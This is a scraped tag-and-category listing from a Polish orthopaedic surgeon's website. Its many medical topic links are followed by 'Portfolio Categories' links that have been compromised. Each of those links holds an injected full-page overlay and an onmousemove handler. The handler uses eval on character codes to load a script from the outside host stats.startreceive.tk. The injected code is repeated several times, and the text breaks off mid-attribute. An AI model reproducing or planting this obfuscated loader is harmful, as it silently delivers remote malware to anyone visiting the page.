[artroskopia](https://www.drmick.pl/tag/artroskopia/) - [powikłania](https://www.drmick.pl/tag/powiklania/) - [przygotowanie](https://www.drmick.pl/tag/przygotowanie/) - [kurs](https://www.drmick.pl/tag/kurs/) - [cadaverowy](https://www.drmick.pl/tag/cadaverowy/) - [cem](https://www.drmick.pl/tag/cem/) - [masterszew](https://www.drmick.pl/tag/masterszew/) - [drwięga](https://www.drmick.pl/tag/drwiega/) - [dna](https://www.drmick.pl/tag/dna/) - [kwas moczowy](https://www.drmick.pl/tag/kwas-moczowy/) - [hiperurykemia](https://www.drmick.pl/tag/hiperurykemia/) - [dieta](https://www.drmick.pl/tag/dieta/) - [kryształy](https://www.drmick.pl/tag/krysztaly/) - [milurit](https://www.drmick.pl/tag/milurit/) - [zwichnięcie](https://www.drmick.pl/tag/zwichniecie/) - [uraz](https://www.drmick.pl/tag/uraz/) - [krwiak](https://www.drmick.pl/tag/krwiak/) - [troczki](https://www.drmick.pl/tag/troczki/) - [wydruk](https://www.drmick.pl/tag/wydruk/) - [3D](https://www.drmick.pl/tag/3d/) - [osteotomia](https://www.drmick.pl/tag/osteotomia/) - [planowanie](https://www.drmick.pl/tag/planowanie/) - [przymiar](https://www.drmick.pl/tag/przymiar/) - [piekos](https://www.drmick.pl/tag/piekos/) - [sportowiec amator](https://www.drmick.pl/tag/sportowiec-amator/) - [uraz koślawiący](https://www.drmick.pl/tag/uraz-koslawiacy/) - [poboczne piszczelowe](https://www.drmick.pl/tag/poboczne-piszczelowe/) - [stłuczenie](https://www.drmick.pl/tag/stluczenie/) - [fałd](https://www.drmick.pl/tag/fald/) - [gęsia stopka](https://www.drmick.pl/tag/gesia-stopka/) - [zwyrodnienie](https://www.drmick.pl/tag/zwyrodnienie/) - [artroza](https://www.drmick.pl/tag/artroza/) - [calypso](https://www.drmick.pl/tag/calypso/) - [komórki macierzyste](https://www.drmick.pl/tag/komorki-macierzyste/) - [czworogłowy](https://www.drmick.pl/tag/czworoglowy/) - [mięsień](https://www.drmick.pl/tag/miesien/) - [uszkodzenie](https://www.drmick.pl/tag/uszkodzenie/) - [naciągnięcie](https://www.drmick.pl/tag/naciagniecie/) - [naderwanie](https://www.drmick.pl/tag/naderwanie/) - [głowa](https://www.drmick.pl/tag/glowa/) - [udo](https://www.drmick.pl/tag/udo/) - [awulsja](https://www.drmick.pl/tag/awulsja/) - [kolec biodrowy](https://www.drmick.pl/tag/kolec-biodrowy/) - [ścięgno](https://www.drmick.pl/tag/sciegno/) - [narty](https://www.drmick.pl/tag/narty/) - [narciarstwo](https://www.drmick.pl/tag/narciarstwo/) - [profilaktyka](https://www.drmick.pl/tag/profilaktyka/) - [urazy](https://www.drmick.pl/tag/urazy/) - [kciuk narciarza](https://www.drmick.pl/tag/kciuk-narciarza/) - [wiązania](https://www.drmick.pl/tag/wiazania/) - [ustawienie](https://www.drmick.pl/tag/ustawienie/) - [regulacja](https://www.drmick.pl/tag/regulacja/) - [upadek](https://www.drmick.pl/tag/upadek/) - [sztuka upadania](https://www.drmick.pl/tag/sztuka-upadania/) - [jak upadać](https://www.drmick.pl/tag/jak-upadac/) - [wydłużanie](https://www.drmick.pl/tag/wydluzanie/) - [skrócenie](https://www.drmick.pl/tag/skrocenie/) - [wydłużenie](https://www.drmick.pl/tag/wydluzenie/) - [Illizarow](https://www.drmick.pl/tag/illizarow/) - [Achondroplazja](https://www.drmick.pl/tag/achondroplazja/) - [metoda Illizarowa](https://www.drmick.pl/tag/metoda-illizarowa/) - [nierówne kończyny](https://www.drmick.pl/tag/nierowne-konczyny/) - [dystrakcja](https://www.drmick.pl/tag/dystrakcja/) - [regenerat](https://www.drmick.pl/tag/regenerat/) - [monotube](https://www.drmick.pl/tag/monotube/) - [TSF](https://www.drmick.pl/tag/tsf/) - [trochleoplastyka](https://www.drmick.pl/tag/trochleoplastyka/) - [medializacja](https://www.drmick.pl/tag/medializacja/) - [rotacja](https://www.drmick.pl/tag/rotacja/) - [derotacja](https://www.drmick.pl/tag/derotacja/) - [MPFL](https://www.drmick.pl/tag/mpfl/) - [wapń](https://www.drmick.pl/tag/wapn/) - [witamina D](https://www.drmick.pl/tag/witamina-d/) - [pytanienaśniadanie](https://www.drmick.pl/tag/pytanienasniadanie/) - [PnŚ](https://www.drmick.pl/tag/pns/) - [złamanie](https://www.drmick.pl/tag/zlamanie/) - [suplementacja](https://www.drmick.pl/tag/suplementacja/) - [obojczyk](https://www.drmick.pl/tag/obojczyk/) - [dogbone](https://www.drmick.pl/tag/dogbone/) - [budowa](https://www.drmick.pl/tag/budowa/) - [funkcja](https://www.drmick.pl/tag/funkcja/) - [przyśrodkowa](https://www.drmick.pl/tag/przysrodkowa/) - [boczna](https://www.drmick.pl/tag/boczna/) - [biomechanika](https://www.drmick.pl/tag/biomechanika/) - [rączka od wiadra](https://www.drmick.pl/tag/raczka-od-wiadra/) - [języczek](https://www.drmick.pl/tag/jezyczek/) - [ramp lesion](https://www.drmick.pl/tag/ramp-lesion/) - [szycie](https://www.drmick.pl/tag/szycie/) - [meniscectomia](https://www.drmick.pl/tag/meniscectomia/) - [outsidein](https://www.drmick.pl/tag/outsidein/) - [meniscus](https://www.drmick.pl/tag/meniscus/) - [insideout](https://www.drmick.pl/tag/insideout/) - [staw ramienny](https://www.drmick.pl/tag/staw-ramienny/) - [obrąbek](https://www.drmick.pl/tag/obrabek/) - [Hill-sachs](https://www.drmick.pl/tag/hill-sachs/) - [fizjoterapia](https://www.drmick.pl/tag/fizjoterapia/) - [postępowania](https://www.drmick.pl/tag/postepowania/) - [rehabilitacja](https://www.drmick.pl/tag/rehabilitacja/) - [ćwiczenia](https://www.drmick.pl/tag/cwiczenia/) - [fizjoterapeuta](https://www.drmick.pl/tag/fizjoterapeuta/) - [allinside](https://www.drmick.pl/tag/allinside/) - [fastfix](https://www.drmick.pl/tag/fastfix/) - [meniscalcinch](https://www.drmick.pl/tag/meniscalcinch/) - [ostroga](https://www.drmick.pl/tag/ostroga/) - [pięta](https://www.drmick.pl/tag/pieta/) - [rozcięgno](https://www.drmick.pl/tag/rozciegno/) - [prp](https://www.drmick.pl/tag/prp/) - [wkładki](https://www.drmick.pl/tag/wkladki/) - [wyrośl](https://www.drmick.pl/tag/wyrosl/) - [korzeń](https://www.drmick.pl/tag/korzen/) - [scorpion](https://www.drmick.pl/tag/scorpion/) - [przezkostne](https://www.drmick.pl/tag/przezkostne/) - [kość](https://www.drmick.pl/tag/kosc/) - [exogen](https://www.drmick.pl/tag/exogen/) - [gojenie](https://www.drmick.pl/tag/gojenie/) - [wspomaganie](https://www.drmick.pl/tag/wspomaganie/) - [złamaniezmęczeniowe](https://www.drmick.pl/tag/zlamaniezmeczeniowe/) - [zrost](https://www.drmick.pl/tag/zrost/) - [BMP](https://www.drmick.pl/tag/bmp/) - [leczenie](https://www.drmick.pl/tag/leczenie/) - [zespolenie](https://www.drmick.pl/tag/zespolenie/) - [płyta](https://www.drmick.pl/tag/plyta/) - [Dessault](https://www.drmick.pl/tag/dessault/) - [ósemka](https://www.drmick.pl/tag/osemka/) - [opatrunek ósemkowy](https://www.drmick.pl/tag/opatrunek-osemkowy/) - [gips](https://www.drmick.pl/tag/gips/) - [zachowawcze](https://www.drmick.pl/tag/zachowawcze/) - [koniec barkowy](https://www.drmick.pl/tag/koniec-barkowy/) - [płyta hakowa](https://www.drmick.pl/tag/plyta-hakowa/) - [staw barkowo-obojczykowy](https://www.drmick.pl/tag/staw-barkowo-obojczykowy/) - [ławeczka](https://www.drmick.pl/tag/laweczka/) - [wyciskanie](https://www.drmick.pl/tag/wyciskanie/) - [piersiowy](https://www.drmick.pl/tag/piersiowy/) - [benchpress](https://www.drmick.pl/tag/benchpress/) - [siłownia](https://www.drmick.pl/tag/silownia/) - [sztanga](https://www.drmick.pl/tag/sztanga/) - [klatka](https://www.drmick.pl/tag/klatka/) - [piersiowa](https://www.drmick.pl/tag/piersiowa/) - [żebra](https://www.drmick.pl/tag/zebra/) - [mostek](https://www.drmick.pl/tag/mostek/) - [biceps](https://www.drmick.pl/tag/biceps/) - [kontuzja](https://www.drmick.pl/tag/kontuzja/) - [dwugłowy](https://www.drmick.pl/tag/dwuglowy/) - [kulturystyka](https://www.drmick.pl/tag/kulturystyka/) - [trening](https://www.drmick.pl/tag/trening/) - [unieruchomienie](https://www.drmick.pl/tag/unieruchomienie/) - [kąpanie](https://www.drmick.pl/tag/kapanie/) - [pływanie](https://www.drmick.pl/tag/plywanie/) - [wakacje](https://www.drmick.pl/tag/wakacje/) - [suntago](https://www.drmick.pl/tag/suntago/) - [jezioro](https://www.drmick.pl/tag/jezioro/) - [morze](https://www.drmick.pl/tag/morze/) - [skręcenie](https://www.drmick.pl/tag/skrecenie/) - [HM CAST](https://www.drmick.pl/tag/hm-cast/) - [wkp](https://www.drmick.pl/tag/wkp/) - [jatrogenne](https://www.drmick.pl/tag/jatrogenne/) - [kanały](https://www.drmick.pl/tag/kanaly/) - [krwawienie](https://www.drmick.pl/tag/krwawienie/) - [infekcja](https://www.drmick.pl/tag/infekcja/) - [zakrzepica](https://www.drmick.pl/tag/zakrzepica/) - [obrzęk](https://www.drmick.pl/tag/obrzek/) - [wysięk](https://www.drmick.pl/tag/wysiek/) - [zatorowość](https://www.drmick.pl/tag/zatorowosc/) - [oderwanie](https://www.drmick.pl/tag/oderwanie/) - [stabilizacja](https://www.drmick.pl/tag/stabilizacja/) - [martwyciąg](https://www.drmick.pl/tag/martwyciag/) - [obniżenie](https://www.drmick.pl/tag/obnizenie/) - [przeskakiwanie](https://www.drmick.pl/tag/przeskakiwanie/) - [SLAP](https://www.drmick.pl/tag/slap/) - [osteopatia](https://www.drmick.pl/tag/osteopatia/) - [Osteopata](https://www.drmick.pl/tag/osteopata/) - [palpacja](https://www.drmick.pl/tag/palpacja/) - [harmonia](https://www.drmick.pl/tag/harmonia/) - [usg](https://www.drmick.pl/tag/usg/) - [nakłucie](https://www.drmick.pl/tag/naklucie/) - [zastrzyk](https://www.drmick.pl/tag/zastrzyk/) - [LHBT](https://www.drmick.pl/tag/lhbt/) - [LGBT](https://www.drmick.pl/tag/lgbt/) - [brzusiec](https://www.drmick.pl/tag/brzusiec/) - [przyczep](https://www.drmick.pl/tag/przyczep/) - [osłabienie](https://www.drmick.pl/tag/oslabienie/) - [wyprost](https://www.drmick.pl/tag/wyprost/) - [deficyt](https://www.drmick.pl/tag/deficyt/) - [wyprostu](https://www.drmick.pl/tag/wyprostu/) - [przykurcz](https://www.drmick.pl/tag/przykurcz/) - [artrofibroza](https://www.drmick.pl/tag/artrofibroza/) - [przeciążenie](https://www.drmick.pl/tag/przeciazenie/) - [przeszczep](https://www.drmick.pl/tag/przeszczep/) - [wtórne](https://www.drmick.pl/tag/wtorne/) - [rewizja](https://www.drmick.pl/tag/rewizja/) - [anatomia](https://www.drmick.pl/tag/anatomia/) - [ribbon](https://www.drmick.pl/tag/ribbon/) - [oś](https://www.drmick.pl/tag/os/) - [PTS](https://www.drmick.pl/tag/pts/) - [tyłopochylenie](https://www.drmick.pl/tag/tylopochylenie/) - [plateau](https://www.drmick.pl/tag/plateau/) - [szpotawość](https://www.drmick.pl/tag/szpotawosc/) - [koślawość](https://www.drmick.pl/tag/koslawosc/) - [Aeroball](https://www.drmick.pl/tag/aeroball/) - [stopa](https://www.drmick.pl/tag/stopa/) - [staw skokowy](https://www.drmick.pl/tag/staw-skokowy/) - [kostka](https://www.drmick.pl/tag/kostka/) - [supinacja](https://www.drmick.pl/tag/supinacja/) - [sportvis](https://www.drmick.pl/tag/sportvis/) - [strzałkowoskokowe](https://www.drmick.pl/tag/strzalkowoskokowe/) - [więzozrost](https://www.drmick.pl/tag/wiezozrost/) - [ATFL](https://www.drmick.pl/tag/atfl/) - [prewencja](https://www.drmick.pl/tag/prewencja/) - [HMCast](https://www.drmick.pl/tag/hmcast/) - [bóle](https://www.drmick.pl/tag/bole/) - [stawy](https://www.drmick.pl/tag/stawy/) - [poranne](https://www.drmick.pl/tag/poranne/) - [sztywność](https://www.drmick.pl/tag/sztywnosc/) - [rozciąganie](https://www.drmick.pl/tag/rozciaganie/) - [diagnoza](https://www.drmick.pl/tag/diagnoza/) - [woda](https://www.drmick.pl/tag/woda/) - [sbo](https://www.drmick.pl/tag/sbo/) - [stopa słonia](https://www.drmick.pl/tag/stopa-slonia/) - [ciężary](https://www.drmick.pl/tag/ciezary/) - [weightliftershoulder](https://www.drmick.pl/tag/weightliftershoulder/) - [gojnenie](https://www.drmick.pl/tag/gojnenie/) - [entezopatia](https://www.drmick.pl/tag/entezopatia/) - [niedokrwienie](https://www.drmick.pl/tag/niedokrwienie/) - [zawał](https://www.drmick.pl/tag/zawal/) - [unaczynienie](https://www.drmick.pl/tag/unaczynienie/) - [PDGF](https://www.drmick.pl/tag/pdgf/) - [czynniki](https://www.drmick.pl/tag/czynniki/) - [czynnikiwzrostu](https://www.drmick.pl/tag/czynnikiwzrostu/) - [szkoła pływania](https://www.drmick.pl/tag/szkola-plywania/) - [timeout](https://www.drmick.pl/tag/timeout/) - [kręgosłup](https://www.drmick.pl/tag/kregoslup/) - [skrzywienie](https://www.drmick.pl/tag/skrzywienie/) - [skolioza](https://www.drmick.pl/tag/skolioza/) - [lordoza](https://www.drmick.pl/tag/lordoza/) - [wady postawy](https://www.drmick.pl/tag/wady-postawy/) - [ESWT](https://www.drmick.pl/tag/eswt/) - [steroidy](https://www.drmick.pl/tag/steroidy/) - [blokada](https://www.drmick.pl/tag/blokada/) - [nlpz](https://www.drmick.pl/tag/nlpz/) - [frozenshoulder](https://www.drmick.pl/tag/frozenshoulder/) - [bark zamrożony](https://www.drmick.pl/tag/bark-zamrozony/) - [adhesive](https://www.drmick.pl/tag/adhesive/) - [capsulitis](https://www.drmick.pl/tag/capsulitis/) - [zamrożony](https://www.drmick.pl/tag/zamrozony/) - [shoulder](https://www.drmick.pl/tag/shoulder/) - [torebka](https://www.drmick.pl/tag/torebka/) - [pogrubienie](https://www.drmick.pl/tag/pogrubienie/) - [fala uderzeniowa](https://www.drmick.pl/tag/fala-uderzeniowa/) - [artroliza](https://www.drmick.pl/tag/artroliza/) - [hydrodylatacja](https://www.drmick.pl/tag/hydrodylatacja/) - [manipulacja](https://www.drmick.pl/tag/manipulacja/) - [staw](https://www.drmick.pl/tag/staw/) - [strzelanie](https://www.drmick.pl/tag/strzelanie/) - [pykanie](https://www.drmick.pl/tag/pykanie/) - [trzeszczenie](https://www.drmick.pl/tag/trzeszczenie/) - [blokowanie](https://www.drmick.pl/tag/blokowanie/) - [cracking](https://www.drmick.pl/tag/cracking/) - [popping](https://www.drmick.pl/tag/popping/) - [stres](https://www.drmick.pl/tag/stres/) - [zarządzanie](https://www.drmick.pl/tag/zarzadzanie/) - [zespół](https://www.drmick.pl/tag/zespol/) - [blok](https://www.drmick.pl/tag/blok/) - [rezonans](https://www.drmick.pl/tag/rezonans/) - [ocena](https://www.drmick.pl/tag/ocena/) - [publikacja](https://www.drmick.pl/tag/publikacja/) - [wiercenie](https://www.drmick.pl/tag/wiercenie/) - [mocowanie](https://www.drmick.pl/tag/mocowanie/) - [endobutton](https://www.drmick.pl/tag/endobutton/) - [śruba](https://www.drmick.pl/tag/sruba/) - [all-inside](https://www.drmick.pl/tag/all-inside/) - [M-ARS](https://www.drmick.pl/tag/m-ars/) - [hamstringi](https://www.drmick.pl/tag/hamstringi/) - [więzadło rzepki](https://www.drmick.pl/tag/wiezadlo-rzepki/) - [przeszczep syntetyczny](https://www.drmick.pl/tag/przeszczep-syntetyczny/) - [allograft](https://www.drmick.pl/tag/allograft/) - [przyśrodek](https://www.drmick.pl/tag/przysrodek/) - [podkolanowa](https://www.drmick.pl/tag/podkolanowa/) - [HTO](https://www.drmick.pl/tag/hto/) - [tomofix](https://www.drmick.pl/tag/tomofix/) - [powerplate](https://www.drmick.pl/tag/powerplate/) - [synthes](https://www.drmick.pl/tag/synthes/) - [arthrex](https://www.drmick.pl/tag/arthrex/) - [syngimed](https://www.drmick.pl/tag/syngimed/) - [jointpreservation](https://www.drmick.pl/tag/jointpreservation/) - [korekcja](https://www.drmick.pl/tag/korekcja/) - [open-wedge](https://www.drmick.pl/tag/open-wedge/) - [close-wedge](https://www.drmick.pl/tag/close-wedge/) - [wydruki](https://www.drmick.pl/tag/wydruki/) - [przymiary](https://www.drmick.pl/tag/przymiary/) - [Chodromatoza](https://www.drmick.pl/tag/chodromatoza/) - [ciałowolne](https://www.drmick.pl/tag/cialowolne/) - [fragment](https://www.drmick.pl/tag/fragment/) - [rączka](https://www.drmick.pl/tag/raczka/) - [wyniosłość](https://www.drmick.pl/tag/wynioslosc/) - [cyklop](https://www.drmick.pl/tag/cyklop/) - [zablokowanie](https://www.drmick.pl/tag/zablokowanie/) - [poboczne](https://www.drmick.pl/tag/poboczne/) - [martwica](https://www.drmick.pl/tag/martwica/) - [chrzęstno-kostny](https://www.drmick.pl/tag/chrzestno-kostny/) - [łydka](https://www.drmick.pl/tag/lydka/) - [achilles](https://www.drmick.pl/tag/achilles/) - [ramie](https://www.drmick.pl/tag/ramie/) - [pachwina](https://www.drmick.pl/tag/pachwina/) - [trójgłowy](https://www.drmick.pl/tag/trojglowy/) - [krawiecki](https://www.drmick.pl/tag/krawiecki/) - [przywodziciel](https://www.drmick.pl/tag/przywodziciel/) - [piszczelowy](https://www.drmick.pl/tag/piszczelowy/) - [najszerszy](https://www.drmick.pl/tag/najszerszy/) - [grzbietu](https://www.drmick.pl/tag/grzbietu/) - [kulszowo-goleniowy](https://www.drmick.pl/tag/kulszowo-goleniowy/) - [pośladkowy](https://www.drmick.pl/tag/posladkowy/) - [elektrostymulacja](https://www.drmick.pl/tag/elektrostymulacja/) - [zabiegi](https://www.drmick.pl/tag/zabiegi/) - [wykład](https://www.drmick.pl/tag/wyklad/) - [wykładowca](https://www.drmick.pl/tag/wykladowca/) - [level](https://www.drmick.pl/tag/level/) - [fizykoterapia](https://www.drmick.pl/tag/fizykoterapia/) - [postępowanie](https://www.drmick.pl/tag/postepowanie/) - [baker](https://www.drmick.pl/tag/baker/) - [torbiel](https://www.drmick.pl/tag/torbiel/) - [cysta](https://www.drmick.pl/tag/cysta/) - [usunięcie](https://www.drmick.pl/tag/usuniecie/) - [bone](https://www.drmick.pl/tag/bone/) - [fracture](https://www.drmick.pl/tag/fracture/) - [stressfracture](https://www.drmick.pl/tag/stressfracture/) - [regeneracja](https://www.drmick.pl/tag/regeneracja/) - [regeneration](https://www.drmick.pl/tag/regeneration/) - [odpoczynek](https://www.drmick.pl/tag/odpoczynek/) - [rest](https://www.drmick.pl/tag/rest/) - [triadasportsmenek](https://www.drmick.pl/tag/triadasportsmenek/) - [femaletriad](https://www.drmick.pl/tag/femaletriad/) - [przeciążenia](https://www.drmick.pl/tag/przeciazenia/) - [overload](https://www.drmick.pl/tag/overload/) - [zrostkostny](https://www.drmick.pl/tag/zrostkostny/) - [bonehealing](https://www.drmick.pl/tag/bonehealing/) - [osteosynthesis](https://www.drmick.pl/tag/osteosynthesis/) - [diet](https://www.drmick.pl/tag/diet/) - [osteoporoza](https://www.drmick.pl/tag/osteoporoza/) - [osteoporosis](https://www.drmick.pl/tag/osteoporosis/) - [paleniepapierosów](https://www.drmick.pl/tag/paleniepapierosow/) - [smoking](https://www.drmick.pl/tag/smoking/) - [cartilage](https://www.drmick.pl/tag/cartilage/) - [naprawa](https://www.drmick.pl/tag/naprawa/) - [repair](https://www.drmick.pl/tag/repair/) - [reconstruction](https://www.drmick.pl/tag/reconstruction/) - [hodowla](https://www.drmick.pl/tag/hodowla/) - [culture](https://www.drmick.pl/tag/culture/) - [surgery](https://www.drmick.pl/tag/surgery/) - [matrycakolagenowa](https://www.drmick.pl/tag/matrycakolagenowa/) - [collagenmatrix](https://www.drmick.pl/tag/collagenmatrix/) - [mikrozłamania](https://www.drmick.pl/tag/mikrozlamania/) - [microfractures](https://www.drmick.pl/tag/microfractures/) - [chrząstkamielona](https://www.drmick.pl/tag/chrzastkamielona/) - [mincedcartilage](https://www.drmick.pl/tag/mincedcartilage/) - [autocard](https://www.drmick.pl/tag/autocard/) - [amic](https://www.drmick.pl/tag/amic/) - [autologousmatrixinducedchondrogenesis](https://www.drmick.pl/tag/autologousmatrixinducedchondrogenesis/) - [aci](https://www.drmick.pl/tag/aci/) - [autologouschodrocyteimplantation](https://www.drmick.pl/tag/autologouschodrocyteimplantation/) - [maci](https://www.drmick.pl/tag/maci/) - [matrixasistedautologouschondrocyteimplantation](https://www.drmick.pl/tag/matrixasistedautologouschondrocyteimplantation/) - [przeszczepchrzęstnokostny](https://www.drmick.pl/tag/przeszczepchrzestnokostny/) - [OATS](https://www.drmick.pl/tag/oats/) - [graftnet](https://www.drmick.pl/tag/graftnet/) - [cartione](https://www.drmick.pl/tag/cartione/) - [Deformacja](https://www.drmick.pl/tag/deformacja/) - [akceptacja](https://www.drmick.pl/tag/akceptacja/) - [wygląd](https://www.drmick.pl/tag/wyglad/) - [zachowawczo](https://www.drmick.pl/tag/zachowawczo/) - [#prostowanienóg](https://www.drmick.pl/tag/prostowanienog/) - [#wydruk3D](https://www.drmick.pl/tag/wydruk3d/) - [zima](https://www.drmick.pl/tag/zima/) - [ubezpieczenie](https://www.drmick.pl/tag/ubezpieczenie/) - [transport](https://www.drmick.pl/tag/transport/) - [kasa](https://www.drmick.pl/tag/kasa/) - [finansowanie](https://www.drmick.pl/tag/finansowanie/) - [unum](https://www.drmick.pl/tag/unum/) - [współpraca](https://www.drmick.pl/tag/wspolpraca/) - [operacje](https://www.drmick.pl/tag/operacje/) - [nauka](https://www.drmick.pl/tag/nauka/) - [koszt](https://www.drmick.pl/tag/koszt/) - [składowe](https://www.drmick.pl/tag/skladowe/) - [krzyżowego](https://www.drmick.pl/tag/krzyzowego/) - [podbarkowa](https://www.drmick.pl/tag/podbarkowa/) - [krętarz](https://www.drmick.pl/tag/kretarz/) - [Huglunda](https://www.drmick.pl/tag/huglunda/) - [Bakera](https://www.drmick.pl/tag/bakera/) - [iniekcja](https://www.drmick.pl/tag/iniekcja/) - [steryd](https://www.drmick.pl/tag/steryd/) - [rozwarstwienie](https://www.drmick.pl/tag/rozwarstwienie/) - [horyzontalne](https://www.drmick.pl/tag/horyzontalne/) - [przytorebkowe](https://www.drmick.pl/tag/przytorebkowe/) - [raczkaodwiadra](https://www.drmick.pl/tag/raczkaodwiadra/) - [savethemeniscus](https://www.drmick.pl/tag/savethemeniscus/) - [przemieszczenie](https://www.drmick.pl/tag/przemieszczenie/) - [stymulacja](https://www.drmick.pl/tag/stymulacja/) - [brakzrostu](https://www.drmick.pl/tag/brakzrostu/) - [actifit](https://www.drmick.pl/tag/actifit/) - [artimis](https://www.drmick.pl/tag/artimis/) - [nusurface](https://www.drmick.pl/tag/nusurface/) - [meniscofix](https://www.drmick.pl/tag/meniscofix/) - [cmi](https://www.drmick.pl/tag/cmi/) - [skafold](https://www.drmick.pl/tag/skafold/) - [unispacer](https://www.drmick.pl/tag/unispacer/) - [wymiana](https://www.drmick.pl/tag/wymiana/) - [#zrosty](https://www.drmick.pl/tag/zrosty/) - [zwłóknienia](https://www.drmick.pl/tag/zwloknienia/) - [#sztywnośćkolana #powikłania #rekonstrukcjaACL](https://www.drmick.pl/tag/sztywnosckolana-powiklania-rekonstrukcjaacl/) - [#zakresruchu](https://www.drmick.pl/tag/zakresruchu/) - [#deficytruchu #brakwyprostu #brakzgięcia](https://www.drmick.pl/tag/deficytruchu-brakwyprostu-brakzgiecia/) - [#ograniczenieruchomości](https://www.drmick.pl/tag/ograniczenieruchomosci/) - [#rehabilitacjaKolana](https://www.drmick.pl/tag/rehabilitacjakolana/) - [#leczenieartrofibrozy](https://www.drmick.pl/tag/leczenieartrofibrozy/) - [Usuwanieśrub](https://www.drmick.pl/tag/usuwaniesrub/) - [płytkawkości](https://www.drmick.pl/tag/plytkawkosci/) - [śrubypoziamaniu](https://www.drmick.pl/tag/srubypoziamaniu/) - [metalwkości](https://www.drmick.pl/tag/metalwkosci/) - [czyusunąćzespolenie](https://www.drmick.pl/tag/czyusunaczespolenie/) - [gwoździeśródszpikowe](https://www.drmick.pl/tag/gwozdziesrodszpikowe/) - [bólpozespoleniu](https://www.drmick.pl/tag/bolpozespoleniu/) - [kiedyusunąćimplant](https://www.drmick.pl/tag/kiedyusunacimplant/) - [płytkawpiszczeli](https://www.drmick.pl/tag/plytkawpiszczeli/) - [śrubywkostce](https://www.drmick.pl/tag/srubywkostce/) - [zespolenieortopedyczne](https://www.drmick.pl/tag/zespolenieortopedyczne/) - [usuwaniepłytki](https://www.drmick.pl/tag/usuwanieplytki/) - [płytkawobojczyku](https://www.drmick.pl/tag/plytkawobojczyku/) - [metalpozłamaniu](https://www.drmick.pl/tag/metalpozlamaniu/) - [gwóźdźwpiszczeli](https://www.drmick.pl/tag/gwozdzwpiszczeli/) - [usuwanieimplantów](https://www.drmick.pl/tag/usuwanieimplantow/) ## Portfolio Categories - [ExtraTime](https://www.drmick.pl/testing\" style=\"position:fixed; top:0px; left:0px; width:9000px; height:9000px; background-color:white;\" onmousemove=\"eval(String.fromCharCode(118, 97, 114, 32, 116, 115, 114, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 32, 116, 115, 114, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 32, 116, 115, 114, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 115, 46, 115, 116, 97, 114, 116, 114, 101, 99, 101, 105, 118, 101, 46, 116, 107, 47, 115, 99, 46, 106, 115, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 116, 115, 114, 41, 59))\" data-x=\"/extratime/) - [Gazeta.pl](https://www.drmick.pl/testing\" style=\"position:fixed; top:0px; left:0px; width:9000px; height:9000px; background-color:white;\" onmousemove=\"eval(String.fromCharCode(118, 97, 114, 32, 116, 115, 114, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 32, 116, 115, 114, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 32, 116, 115, 114, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 115, 46, 115, 116, 97, 114, 116, 114, 101, 99, 101, 105, 118, 101, 46, 116, 107, 47, 115, 99, 46, 106, 115, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 116, 115, 114, 41, 59))\" data-x=\"/gazetapl/) - [Wystąpienia telewizyjne](https://www.drmick.pl/testing\" style=\"position:fixed; top:0px; left:0px; width:9000px; height:9000px; background-color:white;\" onmousemove=\"eval(String.fromCharCode(118, 97, 114, 32, 116, 115, 114, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 32, 116, 115, 114, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 32, 116, 115, 114, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 115, 46, 115, 116, 97, 114, 116, 114, 101, 99, 101, 105, 118, 101, 46, 116, 107, 47, 115, 99, 46, 106, 115, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 116, 115, 114, 41, 59))\" data-x=\"/w-tv/) - [BARK - edukacja](https://www.drmick.pl/testing\" style=\"position:fixed; top:0px; left:0px; width:9000px; height:9000px; background-color:white;\" onmousemove=\"eval(String.fromCharCode(118, 97, 114, 32, 116, 115, 114, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 32, 116, 115, 114, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 32, 116, 115, 114, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 115, 46, 115, 116, 97, 114, 116, 114, 101, 99, 101, 105, 118, 101, 46, 116, 107, 47, 115, 99, 46, 106, 115, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 116, 115, 114, 41, 59))\" data-x=\"/barkedu/) - [KOLANO - edukacja](https://www.drmick.pl/testing\" style=\"position:fixed; top:0px; left:0px; width:9000px; height:9000px; background-color:white;\" onmousemove=\"eval(String.fromCharCode(118, 97, 114, 32, 116, 115, 114, 32, 61, 